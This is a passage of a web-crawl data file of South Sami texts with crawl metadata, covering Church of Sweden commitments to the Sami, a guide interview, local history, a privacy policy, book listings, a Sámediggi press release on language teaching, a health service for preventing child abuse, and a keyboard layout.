aelhkebe guarkedh gosse soptsesth jïh ektievoetem damth. Saemiej gïelh daerpies nuhtjedh gyrhkesjimmesne jïh gærhkoekrirrien barkosne vuasastalledh. Vuesehte gaavhtan bijpeleteeksth jïh saalmh tjoeverieh saemien gïelesne gååvnesjidh. Teksth saemien gïelesne gærhkoegietegærjesne maahta viehkine årrodh gyrhkesjimmesne. Saemien væhtah, saemien gyrhkesjimmie aerpie jïh kontextuelle toelhkestiimmiem tekstijste dillie stuerebe inkluderinge sjædta jïh vaentjelem buektiehtidh kulturelle buerie vuekine.\n2. Saemien voejkenevoetem, teologijem jïh gærhkoe aerpiem vuasiestalledh Svïenske gærhkosne\nGærhkoekrirrien maadth laavenjasse lea daerpies vuekine barkedh eevtjedh saemide inkluderedh jïh vuasastalledh. Gærhkoen byjjes paehperh daerpies tjaeledh jïh krööhkestidh saemien voejkenen mietie juktie almetjh maehtieh jijtjedh saemien aerpiem dååhkasjehtedh. Saemien voejkenen jïh gærhkoen aerpiem daerpies vuasiestalledh jïh krööhkestidh svïenske gærhkosne.\n3. Barkedh duedtedh saemiej gïelide jealajidh Svïenske gærhkoen barkosne\nGåessie saemien gïelem vuasastalledh jïh jienebe saemien gïeline barkedh gærhkoekrirrien barkosne, dellie Svïenske gærhkoe maahta meatan årrodh saemiej gïelide duedtedh. Daate sjïere vihkeles gosse maanijgujmie barkedh.\n4. Maahtoem jïh daajroem lӕssanidh gærhkoen histovrije barkijen jïh mïedtielimmien bïjre saemiej vuestie jïh magkeres illeldahkh dejstie sjidteme\nÖövtebarkoe mejtie gærhkoen dotkemedåehkie buektiehtamme lea daerpies heesedh, juktie maahtoem gærhkoen historije barkoen bïjre daejredh guktie saemide mïedtelin, jïh magkeres illeldahkh dejstie sjidteme edtja stuerebe Svïenske gærhkosne sjidtedh. Stuerebe maahtoeh dellie ussjedibie jïh guarkebe mannasinie Svïenske gærhkoe måatadimmiebarkojne gïehtele saemiej ålmegasse. Maahta dovne stuerebe daajroeh sadthalmetji-, barkij jïh gærhkoe-åålmegen luvnie sjidtedh, saemiej gyhtjelassine jïh saemiej jielemiemassen bïjre jïh gærhkoen dïedtine buerie barkoe jïh måahtadimmie båata sjidtedh.\n5. Maahtoem lӕssanidh jïh aalkoealmetje-reaktan principide krööhkestidh Svïenske gӕrhkosne jïh seabradahkesne\nAalkoealmetji reaktah lea åasa almetjereaktijste seamma goh humane-reaktah. Aalkoealmetje-reaktam krööhkestidh jïh jeakadidh lea vihkeles barkoe stinkes seabaradahkem buektiehtidh. Aalkoe-almetje-reaktan principh leah gellie seabradahken dajvine. Siejhme maahtoe aalkoealmetje-reaktan principh daerpies bueriemdidh Svïenske gærhkosne. Svïenske gærhkoe edtja gæmhpodh aalkoealmetje-reaktan principh barkosne krööhkestidh.\n6. Læssanidh saemide tsevtsedh meatan årrodh Svïenske gærhkosne\nAalkoealmetje-reaktan mietie saemieh reaktam utnieh jijtjedh gyhtjelassij bïjre nænnoestidh. Dan gaavhtan Svïenske gærhkoe tjoevere vuekih gaavnedh guktie barkedh saemieh åadtjoeh meatan årrodh gærhkoen barkosne. Sjiere vihkeles saemieh meatan utnedh vihkeles nænnoestimmie prossesine principielle saemiej gyhtjelassine.\n7. Duedtedh saemiej maanah jïh noereh dej aerpisne jïh voejkenen ööhpehtimmesne\nFN:n maanakonvensjovnen mietie saemiej maanah jïh noereh reaktam utnieh voejkenen ööhpehtæmman. Dah aaj reaktam utnieh jijtjene ietniegïelese jïh kulturelle aerpiem öövtiedidh. Barkoe juktie saemiej maanaj jielemehåhkoem, aerpiem jïh voejkene ööhpehtimmiem maahta duedtedh, galkebe eevtjedh.\n8. Raasten rastah saemiej gærhkoejielemem eevtjedh\nSaemieh leah raasten rastah fealadamme dah njieljie staatine veasoeminie. Saemiej jijtje goh åålmege domtieh jïh saemiej naasjovne raasten rastah veaksehke ektievyökiem utnieh. Svïenske gærhkoe guhkie tijjine lihke ektiebarkoem lutheren åabpagærhkojne Nöörjesne jïh Soemesne saemiej gyhtjelassij bïjre åtneme. Ektie noerhteles saemiej gærhkoebiejjide dovne Russlaanten saemide bööresovveme. Raasten rastah ektiebarkoe saemien gærhkoejielemem Svïenske gærhkosne eevtjieh jïh öövtedieh jïh dejnie tjoerebe stinkeslaakan skraejriehtidh. Stuerebe saemien gærhkoe prosjekt goh jarkoestimmieh, dellie noerhteles ektiebarkoe öövre vihkeles.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/www.svenskakyrkan.se\/ataganden-pa-sydsamiska","date":"2022-12-06T06:45:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711074.68\/warc\/CC-MAIN-20221206060908-20221206090908-00590.warc.gz","language":"sma","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000067949295044}","num_words":555,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.127,"stopwords_ratio":0.126,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mov nomme Ane Malene Nordeng, manne 23 jaepien båeries jïh leam dovne Ivgobahteste (Skibotn) jïh Gáivuotneste (Kåfjord). Aehtjie lea Olmmáivaggeste (Manndalen), tjidtj-aahka Birtavarreste bööti, guktie stööremes ektiedimmiem Gáivuotnese åtnam, dam gujht jïjtje vïenhtem. Mov tjidtj-aahka mov aehtj-aajjam Ivgobahtesne gaavnedi, jïh dah pruvrigan jïh årroejigan gaertienisnie gubpede mov tjidtj-aajja bööti, jïh dan åvteste dïhte mov hïejmesijjie sjïdti. Mov tjidtj-aahka jïh aehtj-aajja saemien ietniengieline utnin, jïh mearoesaemien byjresisnie byjjenin. Manne lim mov tjidtj-aahkan lïhke, jïh leam jïjnjem daajroem jïh tjiehpiesvoeth mijjen kultuvren bïjre destie åådtjeme.\nManne aktem jaepiem vaadtseme musihke-journalistihken sisnjelen Englaantesne, naakede maam tuhtjim lij joekoen gieltege. Don jaepien mænngan veeljim gåatan juhtedh, sïjhtim noerhtesaemien lïeredh jïh vielie jïjtjene kultuvresne goerehtidh. Daan gïjren (2021) mov bachelorgraadem åadtjoejim sosiologijesne, gusnie saemien teemaj bïjre tjeelim, jïh daate laavenjasse lij naakede dehtie bööremes maam dorjeme abpe mov lohkemem. Jåarhkeskuvlesne jurjiehtæjja- jïh servitöörefaagesne veedtsim, jïh leam ånnetji dejnie barkeme mov hïejmetjïeltesne.\nManne abpe jieledem fealadamme, gellide joekehts laantide ræjhkoes kultuvrigujmie jïh dïhte lea naakede destie maam bööremes lyjhkem, kultuvri bïjre lïeredh. Dan åvteste manne dajveste båatam gusnie stoerre daaroedehteme orreme, tuhtjem gaajh vihkele almetjh abpe laantesne nuepiem åadtjoeh saemiej jïh saemien kultuvren bïjre lïeredh naakenijstie guhth daajroem utnieh dam lïerehtidh. Manne tjarke aavodem daan jaapan goh saemien tsïegle juktie maehtedh jïjnjem orre dååjredh jïh lïeredh, jïh stoerre earoem damtem daejnie tihtelinie.\nSåemies sneehpes saetniesvoeth\nMïsse jeenjemes aavodh daejnie tsïeglejaepine?\nManne raaktan gaajhkese aavodem, abpe jaapan! Men, tjoerem gujht jiehtedh manne leam joekoen jïjnjem aavoedamme Guovdageaidnusne årrodh jïh voenem sisnjelistie dååjredh.\nMaam tuhtjh vihkielommes noerh Nöörjesne byöroeh saemiej bïjre lïeredh?\nSïjhtem noerh edtjieh daejredh jalhts mijjieh libie saemieh jïh mijjen leah jeatjah kultuvre jïh jieledevuekie, dellie rïektesisnie joekoen seammaplieres goh jienebelåhkoen årrojh. Mijjieh seamma skuvlh vaedtsebe, seamma vaarjoejgujmie vaedtsebe, seamma gåetine årrobe jïh libie noerh seammalaakan goh gaajhkh jeatjebh, raaktan.\nBööremes raerie jïengem tsööpkedh?\nÅrroeh jïjtjemdh, gaavnh aath mïsse dïhte mejnie soptsesth maahta maam joem ektiedidh, jïh doesth ånnetji vuesiehtidh gie datne leah, dellie gåhkese båatah.\nMaam 10 jaepine darjoeh?\nDellie mån barkoem åtnam Saepmesne, saemien kultuvren jallh man akt plearoeh sisnjelen. Manne aaj pruvreme mov nïekedsålmine, jïh dagke monnen akte onne fuelhkie.\nMaam lih sïjhteme meatan vaeltedh akten aevries såålese, jïh man åvteste?\nÅnnetji Emmam heerem jïh aaj jeahtam motovrevïnhtse! Men aaj deerpesnohkigujmie guktie gåarede dehtie aevries sååleste båetedh, guktie im gujht sïjhth aevries såålesne årrodh.\nGie dov saemien åvteguvvie, jïh man åvteste?\nEmil Karlsen 100%! Dïhte dan mavvas jïh dan jïjnjem dorje maam jeatjebh eah doesth, joekoen mijjen dajveste, goh saemien nuhtjedh jïh joejkedh. Dïhte manne tjarke skreejrehte jåerhkedh saemiestidh, pryövedh joejkedh jïh våajnoes mearoesaemie årrodh abpe Saepmesne jïh veartenisnie.","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/samiskeveivisere.no\/sma\/veiviser\/ane-malene-nordeng-3\/","date":"2022-12-01T07:30:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710801.42\/warc\/CC-MAIN-20221201053355-20221201083355-00381.warc.gz","language":"sma","language_score":1.0000077486,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000077486038208}","num_words":422,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.118,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Domsjösaake\nSaakevierhke Domsjö:esne Kempe jaepien 1865 aelkiesti. Dan åvteli lij Kempen saake Mo:esne. Dïhte dan gaavhtan dan nomme sjïdti MoDo. MoDo öörni numhtie dah gïeh dej luvnie berkin meehtin gaarsjelin eejehtimmesne. Dïhte dan gaavhtan Orrestaaren hockeytjïerten nomme MoDo.\nTimperh saakese Mojeanoen mietie fovresjin våålese saakese. Saakesne darjoejin pitpropsh, bïlth mah nuhtjin gosse tæhtjoem tseegkin tjïrregruvaj sisnie Englandesne. Dah fealloeh darjoejin. Åvteli lij sïejhme aeskieh moerijste darjoejin. Dejtie darjoejin mestie maam gohtjin splidtmoerh. Maanah gïeh saakesne berkin daamhtaj splidtmoerine berkin jïh ïebnh steemplin guktie vååjni gusnie dorjeme jïh gåabph dah edtjin.\nSaaken ålkoelisnie lin stoerre skïhph mah ïebnh meatan veeltin mubpie laantide. Mearoe-almetjh skïhpine meehtien soptsestidh mah deahpadi Europesne dejtie gïeh lïerin mubpieh gïelh.","id":"","dump":"CC-MAIN-2022-49","url":"http:\/\/nolavonda.se\/sma\/domsjosaake","date":"2022-12-09T03:42:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446711376.47\/warc\/CC-MAIN-20221209011720-20221209041720-00213.warc.gz","language":"sma","language_score":0.9999803305,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9999803304672241}","num_words":112,"character_repetition_ratio":0.061,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïeh mijjieh\nMijjen nedtesijjie: https:\/\/giellavahkku.org\nLissehth dov öörnemem\nGosse guessieh öörnemem sæjrose biejieh, bïevnesh goeresne vöörhkesuvvieh lissine guessien IP-adresse jïh nedtelohkijeversjovne. Daate dorjesåvva olles ov-serijööse aath sæjrose båetieh.\nAnonyjme teekstestrientje mij lea dorjesovveme dov e-påasteadressen mietie (aaj gohtjesåvva «hash») maahta Gravatarese seedtesovvedh juktie goerehtidh mejtie dov lea kontoe desnie.\nGravataren persovnevaarjelimmiebæjhkoehtimmie lea daesnie. Mænngan öörneme lea jååhkesjimmiem åådtjeme, sæjhta vååjnesasse båetedh gaajhkesidie programmesæjrosne.\nMedija\nJis guvvieh nedtesæjjan veedtjh, byörh baajedh årrodh guvvieh veedtjedh mah bïevnesh sijjien bïjre utnieh gusnie guvvie lea vaaltasovveme (EXIF GPS). Guessieh sæjrojde maehtieh dagkerh bïevnesh guvvijste sæjrosne veedtjedh.\nBïevnesekapselh\nJis öörnemh sïjse bïejh daan nedtesæjjan, maahtah mijjem birredh nommem, e-påastem jïh nedtesijjiem mujhtedh. Daah bïevnesh bïevnesekapseli sïjse vöörhkesuvvieh jïh dan gaavhtan aelhkebe dutnjien sjædta. Ih daarpesjh daejtie bïevnesidie orresistie vedtedh mubpien aejkien datne öörnemem sïjse bïejh jallh öörnemem jarkelh. Daah bïevnesekapselh nåhkedieh aktem jaepiem mænngan.\nJis guessine båatah mijjen sïjseloggemesæjrose, sïjhtebe annjebodts bïevnesekapselem tseegkedh juktie vuejnedh mejtie dov nedtelohkije bïevnesekapselh jååhkesje. Daate bïevnesekapsele ij naan persovnebïevnesh utnieh jïh gaarvene dan varke datne dov nedtelohkijem dahph.\nGosse sïjse loggh, bïevnesekapselh tseegkesuvvieh mah dov sïjseloggemebïevnesh jïh veeljemh vöörhkieh mejtie leah dorjeme guktie sisvege edtja våajnoes dorjesovvedh. Bïevnesekapselh sïjseloggemebïevnesigujmie nåhkieh göökte biejjiej mænngan, mearan dah mah vuesiehtimmieveeljemh utnieh aktem jaepiem ryöhkoeh. Jis kroessem bïejh daase: Mujhtieh mannem, dov sïjseloggemebïevnesh vöörhkesuvvieh göökte våhkoeh. Jis olkese loggh dov kontoste, daah bïevnesekapselh gaarvenieh.\nJis öörnemem redigeerh jallh bæjhkohth, akte vihth bïevnesekapsele dov nehtelohkijasse vöörhkesåvva. Daate bïevnesekapsele ij naan persovnebïevnesh utnieh, men ajve ID don artihkelasse maam aadtjen redigeerih. Dïhte nåhka akten biejjien mænngan.\nSisvege jeatjah nedtesijjijste\nArtihkelh daennie sæjrosne maehtieh sisvegem tjeekedh (v.g. videovh, guvvieh, artihkelh jnv.). Sisvege mij joe stieresne eevre seammalaakan dåemede ov goh dïhte guessie lij nedtesijjiem vååksjeme gubpede sisvege båata.\nDaah nedtesijjieh maehtieh bïevnesh dov bïjre tjöönghkedh, bïevnesekapselh nuhtjedh, goeremesysteemh gåalmedeguejmijste sïjse bigkedh jïh vaaksjodh maam datne darjoeh daan sisvegen tjïrrh. Dah aaj dov dahkoeh goereminie sisvegen tjïrrh jis dov lea kontoe jïh leah sïjse loggeme nedtesæjjan.\nGiejnie dov bïevnesh juekebe\nJis birrh dov baahtsemebaakoe bååstede bïejesåvva, dov IP-adresse meatan vaaltasåvva e-påastesne bååstedebïejemen bïjre baahtsemebaakoste.\nMan guhkiem bïevnesh dov bïjre vöörhkebe\nJis öörnemem sïjse bïejh, dellie öörneme jïh bïevnesh öörnemen bïjre vöörhkesuvvieh saaht man guhkiem.\nUtniejidie mah jïjtjemse registreerieh daennie nedtesæjrosne, aaj persovnebïevnesh vöörhkesuvvieh mejtie tjaelieh sov utnijeprofijlesne. Gaajhkesh maehtieh vuejnedh, redigeeredh jïh skubpedh jïjtsh persovnebïevnesh saaht gåessie (men ij utnijenomme). Nedtesijjien administratovrh aaj maehtieh daejtie bïevnesidie vuejnedh jïh redigeeredh.\nDov reaktah bïevnesi bïjre mejtie dov bïjre utnebe\nJis dov lea kontoe daennie nedtesijjesne jallh lahtestimmieh dïsse vadteme, maahtah birredh fijlem åadtjodh gusnie persovneles bïevnesh mejtie dov bïjre utnebe. Daate gaajhkh daatah mejtie leah mijjese vadteme. Maahtah aaj birredh mijjieh gaajhkh persovnebïevnesh skubpebe, mejtie dov bïjre utnebe. Daate ij leah faamosne bïevnesidie mejtie laaken mietie tjoerebe vöörhkedh, reereles, juridihkeles jallh jearsoevoeten gaavhtan.\nGåabph bïevnesh dov bïjre seedtebe\nRedaktööre guessiej öörnemh gïehtjede jïh jååhkesje juktie raatepåastem heerredidh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/giellavahkku.org\/sma\/personvernerklaering\/","date":"2023-02-02T09:12:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499967.46\/warc\/CC-MAIN-20230202070522-20230202100522-00162.warc.gz","language":"sma","language_score":1.0000017881,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000017881393433}","num_words":468,"character_repetition_ratio":0.078,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.09,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije Solbakk, Aage Bertije ČálliidLágádus Vaadtasovvemejaepie 2015 Faage Eatnemefaage Siebriedahkefaage Eatnemelearoe jïh histovrije Saemien histovrije jïh siebriedahke Daltese 8-10 VGS Jollebe ööhpehtimmie Giele Noerhtesaemiengïele Daaroengïele ISBN 9788282631358 Formaate Sïejhme gærja Reakta-aajhtere ČálliidLágádus Reaktah Gaajhkh reaktah leah doelehtovveme Mennie bielesne 202 Aamhtesh Eatnemelearoe Kaarhte Saepmie Histovrije Saemien histovrije Kultuvre Litteratuvre Aarhte jïh daajroe Eatnemefaage","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ovttas.no\/sma\/girji_stedsnavn-i-sapmi","date":"2023-01-30T23:44:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499831.97\/warc\/CC-MAIN-20230130232547-20230131022547-00234.warc.gz","language":"sma","language_score":0.9989228249,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9989228248596191}","num_words":49,"character_repetition_ratio":0.092,"word_repetition_ratio":0.0,"special_characters_ratio":0.154,"stopwords_ratio":0.122,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mænngan Ööhpehtimmiedirektoraate lea moeneme Åarjelsaemien Vierhtiesåafoe ij edtjh vielie noerhtesaemien gïelelïerehtimmiem faalehtidh, Saemiedigkie lea maajhööhpehtimmiem digkiedamme staateraerine Tonje Brenna (Bk).\nMikkel Eskil Mikkelsen\nÁrvu\/Sametinget\n– Dïhte voestes maam Saemiedigkie lea dorjeme lea hoksedh ij naan learohkh sïjhth lïerehtimmiem noerhtesaemien gïelesne dassedh. Dovne Ööhpehtimmiedirektoraate jïh Maahtoedepartemeente leah dam vihtiestamme, saemiedigkieraerie Mikkel Eskil Mikkelsen (NSR) jeahta.\nIj ellies soejkesje\nMikkelsen meala jarkelimmieh Åarjelsaemien Vierhtiesåafoen stillemisnie vuesiehtieh mah haestemh saemien maajhööhpehtimmiem utnieh. Dïhte gyhtjelassem buakta gubpede learohkh edtjieh maajhööhpehtimmiem åadtjodh daelie, jïh mejtie faalenassem guessievïesehtimmien bïjre åadtjoeh jeatjah skuvline.\n– Ij guhte dejstie giejgujmie Saemiedigkie lea aamhtesem digkiedamme leah maahteme hijvenlaakan vaestiedidh guktie edtja ööhpehtimmiefaalenassem daelie öörnedh. Jienebh dejstie mah noerhtesaemien maajhööhpehtimmiem faalehtieh, Saemiedægkan bievnieh dah vaenebe vaenebe barkoefaamoem åadtjoeh, jïh tjuerieh ööhpehtimmiem prioriteeredh desnie gusnie leah. Aamhtese Åarjelsaemien vierhtiesåafoen bïjre rïektesisnie vuesehte ellies strategije jallh soejkesje maajhööhpehtæmman ij gååvnesh gænnah dejtie båetije jaepide, Mikkelsen jeahta.\nSaemiedigkie lea raeriem buakteme ihke lea daerpies vuartasjidh guktie maajhööhpehtimmiem jïh gïelegaavnedimmieh abpe laantesne öörnie. Mikkelsen gegkeste aaj reerenasse vuajna dïhte lea daerpies.\n– Mijjieh daarpesjibie naakenh mah maehtieh learohkelåhkose vuartasjidh tïjje doekoe, jïh lïerehtimmiem dan mietie soejkesjidh jïh dimensjoneeredh. Mijjieh aaj daarpesjibie naakenh mah guessievïesehtimmiem evtiedieh. Gosse pedagogh jïh faagebyjresh gyhtjelassh gïelegaavnedimmiej bïjre gihtjieh jïh mah faagebyjresh mah edtjieh dam faalehtidh, dellie dah leah legitijme gyhtjelassh mejtie tjoerebe veelelaakan digkiedidh.\nÖörnemistie lïeredh soemen bielesne\nSoemesne akte jallh göökte aktöörh mah maajhööhpehtimmiem jïh gïelegaavnedimmieh iktedieh. Mikkelsen mïelen mietie maahta aaj naemhtie nöörjen bielesne darjodh.\n– Mijjieh vierhtiej bïjre soptsestibie. Dan guhkiem mijjieh lohkehtæjjah fååtesibie, dellie ij gåaredh akte lohkehtæjja ajve akti akti learohkem ööhpehte. Tjoerebe maehtedh learohkh mah leah seamma njieptjesne, tjåanghkan bïejedh seamma ööhpehtimmietæjmose, guktie barkoefaamojde buerebelaakan nuhtebe.\nMikkelsen aaj meala daelie gujht tïjje båateme reerenasse guhkiebasse barka raeriestimmiejgujmie råajvarimmide salkehtimmeste NBS 2016:18 – Vaajmoegïele.\n– Joe 2016 Vaajmoegïele råajvarimmiem raeriesti raaktan dïsse, jïh daelie gujht tïjje båateme reerenasse daejnie råajvarimmine guhkiebasse barka, Mikkelsen jeahta.\nJis gihtjehtimmie jallh gyhtjelassh, gaskesadth saemiedigkieraeriem Mikkel Eskil Mikkelsen (NSR), tell. +47 917 42 161, firstname.lastname@example.org","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/sametinget.no\/saernieh\/saemiedigkie-ektie-jarngem-saemien-maajhoohpehtamman-sajhta.23503.aspx","date":"2023-01-28T03:20:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499470.19\/warc\/CC-MAIN-20230128023233-20230128053233-00785.warc.gz","language":"sma","language_score":0.9999992847,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999992847442627}","num_words":313,"character_repetition_ratio":0.077,"word_repetition_ratio":0.0,"special_characters_ratio":0.135,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tjaelije\nBertije\nVaadtasovvemejaepie\n2015\nGiele\nISBN\n9788299822725\nFormaate\nTjoejegærja\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nSaemien soptsesh Aarporteste jïh Trøndelageste daelie goh tjoejegærjine.\nJust Qvigstad heamturh saemiej luvnie Aarportesne jïh Trøndelagesne 1884 jïh 1887 tjöönghki. Dah heamturh voestes aejkien 1924 bæjhkoehtovvi. Dan mænngan Lajla Mattsson Magga gærjam daaletje ortografijen mietie tjeeli 1996. Daelie gærja aaj tjoejegærjine gååvnese, mah Maja Marie Jåma jïh Kjell Roger Appfjell lohkijægan. Heamturh leah dovne gieltegs men aaj båatsoesaemiej jielemem jïh åssjaldahkh vuesiehtieh.","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/ovttas.no\/sma\/jietna_aarporten-jih-aarjel-smaaregen-soptsesh","date":"2023-02-01T16:38:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499946.80\/warc\/CC-MAIN-20230201144459-20230201174459-00381.warc.gz","language":"sma","language_score":0.9997611642,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"sma_Latn_score\": 0.999761164188385}","num_words":71,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.189,"stopwords_ratio":0.155,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gïese faaleldahke\nFaaleldahke dutnjien gie båarasåbpoe 18 jaepeste jïh seksuelle ïedtjem maanide åtnah. Datne maahtah tjomberdidh datne maahtah seksuelle daaresjimmiem maanaj vööste darjodh. Datne maahtah gusnie akt Noerhte-Nöörjesne årrodh.\nGuktie maahta faaleldahkem åadtjodh?\nJis datne sïjhth båehtjierdimmiem åadtjodh mijjen luvnie ih daarpesjh salkehtimmiem dov tjïrkesdåaktaristie. Datne maahtah jïjtje ringkedh jïh psykolåågine soptsestalledh. Ij naan vuertemeaejkie. Psykolååge sjaavohthvoetedïedtem åtna jïh ij naan jeatjah maehtieh maam tjåådtje dov journaalesne.\nDatne maahtah aaj bïeljelidh \"Det finnes hjelp\" anonyme vuekine nasjonaale chattedïenesjisnie. Jis datne sïjhth tæjmoem soptsestallemasse mænngan, tjoerh nommem jïh reakasovveme- jïh persovnenummerem soptsestidh. Dellie ih leah anonyme.\nMejnie maahta faalaldahke viehkiehtidh\nSoptsestallemefaaleldahken aajkoe lea dutnjien vielie kontrollem vedtedh dov seksuelle åssjelh, fantasijh, domtesh jïh darjomh. Ulmie lea datnem viehkiehtidh buerie jieledem jieledh.\nPsykolåågh vuekine berkieh mejtie daejrieh gujht buerie.\nGusnie datne maahtah faaleldahkem åadtjodh\nSoptsestallemefaaleldahke vadtasåvva psykolåågijste mah SIFER Nord berkieh UNN Romssesne. Datne maahtah faaleldahkem åadtjodh jis båatah mijjen kontovride. Datne maahtah aaj soptsestallemh åadtjodh telefovnen jallh videotjåanghkoen tjïrrh.\nMaam faaleldahkem maaksa\nDatne tjoerh sïejhme jïjtje-joekehtassem maeksedh soptestallemi åvteste. Dïhte lea daelie 375 kråvnah fïere soptsestallemen åvteste (2021). Jïjtje-joekehtasse aaj televone- jïh videokonsultasjovni åvteste.\nLohkh vielie jïjtje-joekehtassen bïjre helsenorge.no\nDesnie datne maahtah mijjiem bïeljelidh\nTelefone 90 17 88 65 (ts: 09:00-15:00)\nRyöktesth-svaalhtese tæjmoem dængkodh chattesne\nNasjonaale nehtesæjroe: Detfinneshjelp.no","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/helse-nord.no\/behandlingssteder\/viehkie-gaavnese","date":"2023-02-06T12:54:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500339.37\/warc\/CC-MAIN-20230206113934-20230206143934-00426.warc.gz","language":"sma","language_score":1.000005126,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 1.0000051259994507}","num_words":199,"character_repetition_ratio":0.097,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.08,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Luvliesaemien båaloebuertien hammoeh\nSaemien boktsaavh leah naemhtie mïerhkesjamme orange duekie. Dah båaloeh gusnie saemien bokstaavh, dejtie aaj daej båaloejgujmie jaksh AltGr: diedtieh AltGr + dam saemien bokstaavem jis sïjhth åadtjodh dam bokstaavem, mij lea daelie sjïere båaloem åådtjeme.\nVuesiehtæmman: Gosse såevmien Ö, diedtieh dellie AltGr + Õ.\nNågra icke-samiska bokstäver har också bytt plats för att få en mera logisk layout. Dessa är markerade med blå bakgrund.\nGaajhkh dah jeatjah bokstaavh jïh væhtah leah seamma sijjesne goh såevmien båaloebuertesne.\nLuvliesaemien (Windows & macOS)","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/divvun.no\/sma\/keyboards\/layout-sms.html","date":"2023-02-05T21:15:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500288.69\/warc\/CC-MAIN-20230205193202-20230205223202-00810.warc.gz","language":"sma","language_score":0.9999204874,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999204874038696}","num_words":80,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.165,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Madeleine Renhuvud\nMiesetje Mavve akten jueskies jïh bïegkes gïjrebiejjien vaerien bïevlesne sööhpedi. Dïhte akte tjetskehke lårhvan slibnehke gie dalla vualka veartasjidh. Dïhte dååjrehtse ietnie, aaltoe, pryövoe measam bïhkedidh, mohte læjhkan onne Mavve dåeriesmoeride gyöntoe. Mavve aarhtseste boltoe, johkese gahtja jïh Saajvi gåajkoe gyöntoe.\nMadeleine Renhuvud gie gærjam tjaaleme jïh guvviedamme lea Mihten sijtesne byjjenamme. Båatsoejieleme lea iktest stoerre åesie sov jielemisnie orreme jïh skreejrehtimmieh destie veedtjeme. Daelie Madeleine lea ööhpehtæjja guvvie, tekstile jïh åarjelsaemiengïelesne jïh Falunisnie årroeminie.\nSoptsese akten miesien perspektijveste gusnie deahpadimmie aarkebiejjeste lea heamturine båeries saemiej soptsesijstie jïh vaajesijstie, jïh daam pleenteme jïjtse nïekedassine jïh jïjtse dej soptsesh toelhkestamme.\nDaate gærja lea skaehtie dah maanide mah jïjtje maehtieh lohkedh. Gærjesne nïekeds tjïelke guvvieh jïh unnebe maanide aaj daate luste juktie dah guvvieh jïh gïele tjïelke leah.\nUtgitt: 2013\nInnbundet\nSider: 23\nSpråk: Sørsamisk\nISBN: 9788290625653\nForlag: DAT","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.gavpi.org\/for-barn-pa-sorsamisk\/820-miesie-mavve.html","date":"2023-03-20T21:47:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943562.70\/warc\/CC-MAIN-20230320211022-20230321001022-00136.warc.gz","language":"sma","language_score":0.9999936819,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 